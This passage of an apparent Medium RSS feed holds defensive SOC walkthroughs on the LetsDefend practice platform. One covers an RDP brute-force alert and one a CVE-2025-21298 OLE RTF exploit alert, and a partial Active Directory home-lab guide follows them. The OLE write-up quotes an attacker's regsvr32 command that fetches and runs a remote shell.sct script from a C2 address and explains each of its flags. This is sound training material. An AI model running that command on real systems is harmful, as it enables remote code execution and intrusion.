src="https://cdn-images-1.medium.com/max/1024/1*Z6F-_IZg8ZUvqiV-LONhVA.png" /></figure><p><strong>Step 8:</strong></p><p><strong>Check if someone requested the C2</strong></p><p>Accessed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nbgr95niw0tD7_zfe17TqQ.png" /></figure><p><strong>Step 9:</strong></p><p><strong>Containment</strong></p><p>Contain the exploit from the “Endpoint Security” tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lPE2I2kRo8aTvl-8e6AeWA.png" /></figure><p>Thank you for the read…</p><p>I hope it was well worth it and easy to follow. Kindly reach out to me if you have any questions, clarification, or suggestions, and I will respond ASAP.</p><ul><li><strong>email</strong>: owolabitolu@gmail.com</li><li><strong>linkedin</strong>: <a href="https://www.linkedin.com/in/tolu-owolabi-toluowo/">https://www.linkedin.com/in/tolu-owolabi-toluowo/</a></li></ul><p>My name is <strong>Toluwalase Owolabi</strong>, and I am a Cybersecurity Analyst with many years of experience in the Information Technology domain, including but not limited to System Administration, Software Development, Network Administration, Security Operations, Data Manipulation, and Analysis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d72ceebc66c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LetsDefend: SOC176 — RDP Brute Force Detected]]></title>
            <link>https://medium.com/@owolabitolu/letsdefend-soc176-rdp-brute-force-detected-9d1d62a35718?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d1d62a35718</guid>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 13:16:32 GMT</pubDate>
            <atom:updated>2025-04-14T13:16:32.190Z</atom:updated>
            <content:encoded><![CDATA[<h3>LetsDefend: SOC176 — RDP Brute Force Detected</h3><p>In this walkthrough, we will be using the LetsDefend practice platform to investigate an alert raised by a rule RDP Brute Force due to login failure from a single source with different non-existing accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OYuAf9X5LrEGi2kVH2Ekug.png" /></figure><p><strong>Take ownership of the alert</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ru4fmvGv0eQYPMoI3PEJKA.png" /></figure><p><strong>Create case for the alert</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BXcAewULU_wAOGyd2mk6bg.png" /></figure><p><strong>Start the Playbook</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LRQi4KMXP6kbf6JJksWCTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*d0tlPcUubEUSfIbFbNeFMA.png" /></figure><p>The source IP address is External since it is not a private IP.</p><p>Private IP address ranges fall between:</p><ul><li>10.0.0.0–10.255.255.255</li><li>172.16.0.0–172.31.255.255</li><li>192.168.0.0–192.168.255.255.</li></ul><p>An IP search was conducted on whois.domaintools, and it can be seen that the IP originates from Shanghai, China.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*ss4F5m6m4j20cZ1M_7o_lg.png" /></figure><p><strong>IP Reputation Check (VirusTotal)</strong></p><p>8/94 security vendors flagged this IP address as malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQ7KMWM9A_w9D5FWeTkTbA.png" /></figure><p><strong>IP Reputation Check (AbuseIPDB)</strong></p><p>Found in AbuseIPDB database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QlhnNQn_ROVLPPfQs-LvCg.png" /></figure><p><strong>IP Reputation Check (LetsDefend TI)</strong></p><p>Reported as Malicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BtPfGBwqiFvKmCPjwAr4Sw.png" /></figure><p>Traffic Analysis from Log Management Tab Showing Multiple Entries all on port 3389, which is the default RDP port, and happened within the same timeframe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UY2prlzHvinrYLXTevGU5A.png" /></figure><p>Running a query (<em>Source Address contains “218.92.0.56” and Raw Log contains “4624”)</em> for eventid 4624 and the IP of the attacker shows there was 1 successful login with the username “Matthew” and the login type “RemoteInteractive”<br> So, it is essential to isolate this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6wXeCCNyB98M5zUGe5W7Q.png" /></figure><p>Updating the query (Source Address contains “218.92.0.56” and Raw Log contains “4625”) to use 4625 eventid to see failed logins showed that there were multiple entries of the attacker trying to use usernames like “admin”, “guest” and “sysadmin” to gain access via RDP but failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0tycroQEtkvI0VDyNllSA.png" /></figure><p><strong>Contain the machine</strong></p><p>From the “Endpoint Security” tab, search for the user “Matthew” and contain the endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70RfzUJH1sRpeArRmkpyMQ.png" /></figure><p><strong>Add Artifacts</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_y4fW78ij5YS_2GXwJiiw.png" /></figure><p><strong>Close the Case</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3d5bYpGgmwe5f8ZLHraZmQ.png" /></figure><p>Thank you for the read…</p><p>I hope it was well worth it and easy to follow. Kindly reach out to me if you have any questions, clarification, or suggestions, and I will respond ASAP.</p><ul><li><strong>email</strong>: owolabitolu@gmail.com</li><li><strong>linkedin</strong>: <a href="https://www.linkedin.com/in/tolu-owolabi-toluowo/">https://www.linkedin.com/in/tolu-owolabi-toluowo/</a></li></ul><p>My name is <strong>Toluwalase Owolabi</strong>, and I am a Cybersecurity Analyst with many years of experience in the Information Technology domain, including, but not limited to System Administration, Software Development, Network Administration, Security Operations, Data Manipulation, and Analysis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d1d62a35718" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LetsDefend: SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)]]></title>
            <link>https://medium.com/@owolabitolu/letsdefend-soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298-972864ba22ea?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/972864ba22ea</guid>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Sun, 13 Apr 2025 17:41:34 GMT</pubDate>
            <atom:updated>2025-04-13T17:41:34.059Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>LetsDefend: SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)</strong></h3><p>In this walkthrough, we will use the LetsDefend practice platform to investigate an alert raised because of a malicious RTF attachment identified with the known CVE-2025–21298 exploit pattern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*2cpwP7l52XVy3rcwWOn1Lw.png" /></figure><p><strong>Step 1:</strong></p><p><strong>Accessing the Alert and Taking Ownership of the Ticket:</strong></p><p>Navigate to the LetsDefend platform and click the “Practice” tab at the top of the screen. Search for the rule name with “SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)” and click on it, then click on the ”Take Ownership” icon at the top right as shown in the screenshot. Click the “Yes, I’m sure” button in the popup that displays afterwards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63Zsz2r02vXJXNSTw1b4tw.png" /></figure><p><strong>Step 2:</strong></p><p><strong>Create a Case for the Event:</strong></p><p>After taking ownership, the case moves from the “Main Channel” to the “Investigation Channel”. Click on the icon with the forward sign, highlighted in the screenshot, to create a case for the event. Click “Continue” in the pop-up that displays.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mowx-bksfOnh2kCGEdufQw.png" /></figure><p><strong>Step 3:</strong></p><p><strong>Looking at the Alert Details</strong></p><ul><li>The attachment hash is “df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184”</li><li>The trigger reason is “Malicious RTF attachment identified with known CVE-2025–21298 exploit pattern.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZTru7HBL4Ykb9raQlN2xw.png" /></figure><p><strong>Step 4:</strong></p><p><strong>Start the Playbook:</strong></p><p>The ”Case Management” tab is now active. Click on “Start Playbook” to begin updating the playbook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*a6Ak8pGuyQlWFlDAtFo_pg.png" /></figure><p><strong>Step 5:</strong></p><p><strong>Select threat indicator:</strong></p><p>Click on the dropdown to select the threat indicator as shown in the screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_kIy9ZEa3n8E7LOBryVfg.png" /></figure><p><strong>Step 6:</strong></p><p><strong>Check if the malware is quarantined/cleaned</strong></p><p>Not Quarantined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*BbLyIRY30W04ClN9UKhhFQ.png" /></figure><p><strong>Step 7:</strong></p><p><strong>Analyze Malware</strong></p><p>Malicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*rJzTEJhUlLWl3fYXpabhFA.png" /></figure><p><strong>Analyze Malware</strong></p><p>Search for the email from the “Email Security” tab and open it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOmkvfu-qzPG05QfmKOzOQ.png" /></figure><p><strong>Analyze Malware</strong></p><p>Click on the attachment and use the password “infected” to download from the external site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5D35KlohJR7ZcvPOvTaBTw.png" /></figure><p><strong>Analyze Malware</strong></p><p>Analysis of the file on VirusTotal indicates that the file is malicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7qbyz5tonatNzh_QxRCog.png" /></figure><p><strong>Analyze Malware</strong></p><p>Analysis of the file on AnyRun also indicates malicious activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wU1hE-4YkvbrJB5CMecNEg.png" /></figure><p><strong>Analyze Malware</strong></p><p>Analysis of the file on Hybrid Analysis also indicates malicious activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwFAo5L71k4STUarVcGvzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvEkplVzJ80MTPjvai_DKQ.png" /></figure><p><strong>Analyze Malware</strong></p><p>Look through the processes from the “Endpoint Security” tab and locate the process that has “Outlook.exe” as the parent process name and expand it.</p><p>Click the + sign on the target process command line field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uOtjOBVOAvp1yc5olmnDOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJh7VCz3VuTwDh7tNm6IAA.png" /></figure><pre>C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll</pre><p>The C2 address (84.38.130.118) can be seen from the command being executed.</p><p>Find below the breakdown of the target process command line.</p><ul><li>C:\Windows\System32\cmd.exe — Calls the Command Prompt.</li><li>/c — Executes the specified command and then terminates.</li><li>regsvr32.exe — A Windows utility used to register and unregister OLE controls (e.g., DLLs and ActiveX components).</li><li>/s — Runs the command silently, without displaying messages or prompts.</li><li>/u — Unregisters the specified DLL.</li><li>/i:http://84.38.130.118.com/shell.sct — Fetches and executes a script or configuration file from an external URL.</li><li>scrobj.dll — A system DLL used to automate Windows tasks.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*saFypAg9WF7HGRssAZn9hQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*3xk8m6IK7-XT8mx-E4JK6Q.png" /></figure><p><strong>Analyze Malware</strong></p><p>Search for the C2 address from the “Log Management” tab and open it to see more details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFlY_xaOoSfMmbbBs7DZeQ.png" /></figure><p><strong>Analyze Malware</strong></p><p>Search the C2 address from the ”Threat Intel” tab to see that the address is malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wf5ydI7JBizAkCjTSP2YxQ.png" /></figure><p>Step 8: <br><strong>Check If Someone Requested the C2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*TlZShEi5Le5VZEbuZEPiZg.png" /></figure><p>Step 9: <br><strong>Containment</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSucx7ud6WoB9-Yk15XyFQ.png" /></figure><p>Step 10<br><strong>Add Artifacts</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u_nHw4hDtS2DeyWaRbvLFw.png" /></figure><p>Step 11<br><strong>Close Alert</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzBjFuhG48-x42IgxfWRBg.png" /></figure><p>Thank you for the read…</p><p>I hope it was well worth it and easy to follow. Kindly reach out to me if you have any questions, clarification, or suggestions, and I will respond ASAP.</p><ul><li><strong>email</strong>: owolabitolu@gmail.com</li><li><strong>linkedin</strong>: <a href="https://www.linkedin.com/in/tolu-owolabi-toluowo/">https://www.linkedin.com/in/tolu-owolabi-toluowo/</a></li></ul><p>My name is <strong>Toluwalase Owolabi</strong>, and I am a Cybersecurity Analyst with many years of experience in the Information Technology domain, including, but not limited to System Administration, Software Development, Network Administration, Security Operations, Data Manipulation, and Analysis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=972864ba22ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up an Active Directory Home Lab and Using Windows PowerShell to Generate Users for Active…]]></title>
            <link>https://medium.com/@owolabitolu/setting-up-an-active-directory-home-lab-and-using-windows-powershell-to-generate-users-for-active-c36814b91c89?source=rss-13d613c0b0bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c36814b91c89</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[windows-powershell]]></category>
            <dc:creator><![CDATA[toluowo]]></dc:creator>
            <pubDate>Wed, 26 Mar 2025 12:35:44 GMT</pubDate>
            <atom:updated>2025-03-27T10:46:41.370Z</atom:updated>
            <content:encoded><![CDATA[<h3>Setting Up an Active Directory Home Lab and Using Windows PowerShell to Generate Users for Active Directory Integration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*UeQrB2xAwb2Hmn84iC_ffQ.png" /></figure><h3><strong>Objective:</strong></h3><p>This project aims to set up Active Directory (AD) on a Windows Server 2019, and Windows 10 will be used to join the domain.</p><p>Windows Server 2019 is set up with 2 network cards. One network is set up with NAT to reach the Internet, and the second network is set up as host-only. So, the Windows Server will serve as a router and a gateway for Windows 10 to reach the Internet.</p><h3><strong>Lab Setup:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*EmWA7Y2TyG9Ur6Mqwai48A.png" /></figure><p>The project assumes a lab environment with Windows Server 2019 and Windows 10 already installed, so we will just make some initial configuration before we begin installing AD.</p><p>This project is done with VMWare Fusion on Mac, and the configurations will be similar to the VMWare Player or VMWare workstation on a Windows PC.</p><h3><strong>Setting up the network cards and interfaces.</strong></h3><p>Power off the Windows Server 2019 if running, so that the network configuration can be performed.</p><h3><strong>Step 1: Configuring the first/default network card.</strong></h3><p>On VMWare, right-click on the Windows Server machine and select “Settings”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*oW1kouo8LVelpc6aEL3tpg.png" /><figcaption>Entering the setting menu for server 2019</figcaption></figure><p>Click on the “Network Adapter” and ensure that the option “Share with my Mac” is selected. This is the same option as the NAT configuration. This is to enable the server to use the host network to connect to the internet.</p><p>See screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*K6JQLHlhSNr-nldDMgcrdw.png" /><figcaption>Setting network interface 1 for NAT</figcaption></figure><h3><strong>Step 2: Configuring the second network card.</strong></h3><p>Now click on “Show All” at the top to go back to the setting home page and click on “Add Device” as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*TLcky9yZaX2_udOtRB4qBA.png" /><figcaption>Add device option for the network interface 2</figcaption></figure><p>Click on “Network Adapter” since we want to add another adapter for internal (Host-only) network, and click on “Add” as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*xdOJlqjeWUA6X8Wt3uWihA.png" /><figcaption>Adding the second network adapter</figcaption></figure><p>Select “Private to my Mac” and then click on “Show All”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*06Q9CKVAHrG64P05PmchIg.png" /><figcaption>Configuring Network adapter 2 to private</figcaption></figure><p>Verify that the new adapter has been added as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*lGQ7rfaccRt46u7tB8wYzQ.png" /><figcaption>Settings home showing the second adapter</figcaption></figure><h3><strong>Step 3: IP Configuration and interface setup</strong></h3><p>Start up the Windows server and click on the network icon on the taskbar as shown with (1) below, and click the network entry from the displayed popup labelled (2) below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*vT0VpQBGllJ0VyuTuIQK_g.png" /><figcaption>Accessing the ethernet settings</figcaption></figure><p>The Ethernet window opens, and you should see 2 entries. One of them should display “Connected” while the other displays “No Internet”. Click on “Change adapter options” labelled (2) in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*yFySn8q4ELMvEGsPyJZ_aw.png" /><figcaption>Changing adapter option</figcaption></figure><p>Let’s rename the adapters so they can be easily identified.</p><p>Right-click on the network displaying connected and give it a desired name. In this case, I have renamed it to “Internet_NAT”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*4QiUDPAEkAxZw9NNF6bpLg.png" /><figcaption>Renaming the adapter</figcaption></figure><p>We will equally rename the other adapter, and in this case, it has been renamed to “Internal_Private”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*e_65kg0Il68nX_j6nVw50g.png" /><figcaption>Renaming the second adapter</figcaption></figure><p>Double-click on the internal network and select “Properties” as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*UDitqaFcAW2cM_vZRezw4g.png" /><figcaption>Accessing the properties of the adapter</figcaption></figure><p>In the properties window, select IPv4 as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*INbfUxgLQMnruK0pp6z9fw.png" /><figcaption>Navigating to IPv4 setting</figcaption></figure><p>Click on “Use the following IP address” to configure manual IP settings as shown with (1) in the screenshot below:</p><p>Configure the IP addresses, and in this project,t the IP has been configured as shown in the screenshot — (IP: 174.16.1.1, Subnet mask: 255.255.255.0). We also set the preferred DNS server address to the loopback address of the server (127.0.0.1).</p><p>Click “OK” at the bottom once done to save the configuration, also click on “OK” on the other windows to close them and get back to the server homepage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*2qcPiumVK2zX0flWJrEPRA.png" /><figcaption>Assigning static IP</figcaption></figure><h3><strong>Step 4: Renaming the server computer name</strong></h3><ol><li>Right-click on the start menu and select “Settings”.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*McwOP6dRvdS6lAE14Puf4g.png" /><figcaption>Accessing settings from the start menu</figcaption></figure><p>2. Select “System” on the settings page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*11MXmuV02H4q4h4kS80GgQ.png" /><figcaption>System settings page</figcaption></figure><p>3. Click on the “About” menu and click on the “Rename this PC” button as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*R5KaC_GsnmBJPAlzYjjHSw.png" /><figcaption>About page showing the option for PC rename</figcaption></figure><p>4. Give a desired name. “DC-2019” has been given in this case. Click the “Next” button when done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*qphu9SWnTvkfAyVl-VFplA.png" /><figcaption>Renaming the Server</figcaption></figure><p>5. The server will prompt for a restart. Let it restart to apply the changes that have been made so far.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*VVf0nzAgwQvug5ktRExI2w.png" /><figcaption>Restart prompt after rename</figcaption></figure><h3><strong>Step 5: Installing Active Directory</strong></h3><ol><li>After the system restart, the server manager should automatically launch, but if it does not, just search for “Server Manager” from the start menu. When the server manager menu opens, click on “Add roles and features” from the dashboard menu. See screenshot below:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*OxYH57CXFrNJrMrqTavMxg.png" /><figcaption>Server dashboard</figcaption></figure><p>2. The “Add roles and features wizard” will open, click on “Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*uWoPpdQYR-7n6nyY_9rk6Q.png" /><figcaption>Add roles and feature initialization</figcaption></figure><p>3. In the Installation type page, leave the default option, which is “Role-based or feature-based installation,” and click the “Next” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Sxe0YbcrpJloxsm_4Tkbtg.png" /><figcaption>Installation type selection</figcaption></figure><p>4. On the “Server Selection” page, confirm that the name given to the server during computer rename is displayed correctly and is selected, and click “Next”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*POSFMpb26PaqfqblN2n2cA.png" /><figcaption>Server selection page</figcaption></figure><p>5. From the “Server Roles” page, be sure to tick the “Active Directory Domain Services” box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*bXC2TQQfOzFhc3RfgThrXQ.png" /><figcaption>Server roles selection</figcaption></figure><p>6. This will open the features page, click the “Add Features” as shown below. Then click on the “Next” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*6ENed-dKz8w6mHCb-XonDw.png" /><figcaption>Add features window</figcaption></figure><p>7. Click on “Next” in the “Active Directory Domain Services” page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*S3boFPiUfO04-4ON7v3UQQ.png" /><figcaption>AD DS Page</figcaption></figure><p>8. The confirmation page opens, and you can click on “Install” to begin installing the Active Directory roles and features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*GmItZRd4DsMjNayYFzgqog.png" /><figcaption>Confirmation page</figcaption></figure><p>9. Wait for the installation to finish, as can be seen on the “Results” page, and click on the “Close” button to exit the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*nvnLYN6znuXbEh0I3WCF4w.png" /><figcaption>Installation Results page</figcaption></figure><p>10. After the installation, we need to complete the Active Directory setup. Click on the notification icon at the top, which will likely be displaying a yellow hazard sign notifying you to promote the server to a domain controller, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*o_sxB5bgn63tlv8G_CEcDA.png" /><figcaption>Notification to promote the AD to DC</figcaption></figure><p>11. This will open the “Deployment Configuration” page. Click on the “Add a new forest” radio button and fill the “Root domain name” field with a desired name. The domain name used in this project is “mydomain.com”. Click the “Next” button when done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*uGzr-R82jJgq8t3hyf5ttw.png" /><figcaption>Adding a new forest</figcaption></figure><p>12. In the domain controller options page, supply a password and click the “Next” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*fQKQ8wVBVnAWoPazBQctGg.png" /><figcaption>Domain controller options page and setting password</figcaption></figure><p>13. Keep clicking the “next” button through the pages until you get to the “Prerequisites” page, where you can now click on the “Install” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*-LOx6lfySXnDe32akJdtHg.png" /><figcaption>Prerequisite check before installation</figcaption></figure><p>14. The system will prompt for a restart after the installation is completed. If it does not prompt automatically, then initiate a restart. Observe the login username after the restart and confirm that the root domain name has been added to the login name. Proceed to enter the password and sign in to the Windows server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Ez8SSBSlowu3fe3dt3l0Bg.png" /><figcaption>Logging into the domain</figcaption></figure><h3><strong>Step 5: Creating a user inside the Active Directory and adding the user to the admin group.</strong></h3><ol><li>Click on the start menu and click on “Windows Administrative Tools”, then select “Active Directory Users and Computers” from the sub-menu</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*F-rsinIt6j9kT5jE07yTxw.png" /><figcaption>Navigating to the Active Directory USers and Computers page</figcaption></figure><p>2. Then, in the “Active Directory Users and Computers” page, right-click on the domain name in the left pane labelled (1) below, and click on “New”, then select “Organizational Unit” in the sub-menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*w-8ib0-cXbfp2qm5nBklFw.png" /><figcaption>Creating a new OU</figcaption></figure><p>3. We want to create an organizational unit for admin users, so we give the organizational unit a name. In this case, “Admin_Users”. Click the “OK” button when done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*ZJwigt91GTZfEhsahRbecA.png" /><figcaption>Giving the OU a name</figcaption></figure><p>4. Observe that the domain name on the left pane automatically expands after clicking the “OK” button. Now that the admin users organizational unit has been created, we need to create an admin user that will reside in the organizational unit. So, right-click the newly created organizational unit and click on “New”, then click on “User” from the sub-menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*csevUVtk96oGMnQ-maoGZA.png" /><figcaption>Creating a new user inside an OU</figcaption></figure><p>5. Fill in the important fields as shown below and then click on the “Next” button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*33wHaJDlaLXZE-QUE0bYcg.png" /><figcaption>Filling the fields required for a new user</figcaption></figure><p>6. Supply a password on the next page and check the options to select as desired. For this project, we are only enabling the “Password never expires” option alone. And click the next button when done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*1bmeR2SmmVepPI7oz1ofag.png" /><figcaption>Setting the password and options for the new user</figcaption></figure><p>7. Click the “Finish” button on the last page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*eJkzsq1-VbN6rZ0oKSV8Zw.png" /><figcaption>Finish setup for the new user</figcaption></figure><p>8. You should see that the new user has now been created. Right-click on the user and select “Properties” on the context menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*_rAG9V99mKr9JQTb98zfhA.png" /><figcaption>Accessing the properties option of the new user</figcaption></figure><p>9. A new window opens, click on the “Member of” tab and click on the “Add” button as seen below. This is to help us add the new user to a default domain group:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*-H2TU1-kbu5SbCsflscuew.png" /><figcaption>Adding a new user to a group</figcaption></figure><p>10. The group window will display, type “domain admin” and click on the “Check Names” button, which should automatically validate the group name entered. Click the “OK” button once the supplied name has been validated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*-T46hh9lMgNBA2BJEH6evA.png" /><figcaption>Validating a group name before submitting</figcaption></figure><p>11. Since the user has been added now, you should see the group name in the summary page. Click on the “Apply” button and the “OK” button afterwards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*S0VJcRcEzcmBQg3HiSuYGw.png" /><figcaption>Confirming that the user has been updated to the admin group</figcaption></figure><p>12. Sign out of the current user account to be able to test the newly created Active Directory admin user. Click on the start menu and then click on the user profile icon labelled (2) below, then click on sign out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*p4Td7jgzEOxgkZ3zR52Fwg.png" /><figcaption>Signing out a current user</figcaption></figure><p>13. Now in the logon screen, click on “Other user” (1) and enter the username of the just created admin user (2), enter the password (3) as well, and hit the enter button to sign in for the first time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*tqRWPDWMby_rP1C84DDTOw.png" /><figcaption>Login screen for the other user option</figcaption></figure><h3><strong>Step 6: Installing RAS/NAT</strong></h3><p>1. We will install RAS/NAT (Remote Access Server / Network Address Translator) on the server to enable our clients that will be on the private network to still be able to access the internet.</p><p>Go ahead to the dashboard page of the server manager and click on “Add Roles and Features”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*a_ZXlKL_8wck2YxfEObhtg.png" /><figcaption>Add roles and features page</figcaption></figure><p>2. Click on the “Next” button multiple times till you get to the “Server Roles” page, then click the “Remote Access” box as shown below, then click the next button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*XYhFH9tZ9se7lkyt-ne8og.png" /><figcaption>Selecting the remote access option</figcaption></figure><p>3. On the “Features” and “Remote Access” pages, leave the default settings and click Next. Then on the “Role Services” page, check the “Routing” box, which will open another popup window as can be seen below. Click on the “Add Features” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*fEbWgKWkf-8rhDG_J8v_Ng.png" /><figcaption>Adding role service features</figcaption></figure><p>4. Once the “Routing” checkbox is selected, the “DirectAccess and VPN (RAS)” checkbox will also be automatically selected. Then click on the “Next” button. See the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*PTGaN6Rhhq0mb3KEoNnccA.png" /><figcaption>Routing option automatically checking the RAS option</figcaption></figure><p>5. Continue to click on the “Next” button till you get to the “Confirmation” page, and then click on the “Install” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*tOI4TXz3FmRaTv2fNWkaQg.png" /><figcaption>Installation confirmation page</figcaption></figure><p>6. Wait for the installation to complete and click on the “Close” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*CJ3Ih_rabRixCT7ICfANbw.png" /><figcaption>Installation result page</figcaption></figure><h3><strong>Step 7: 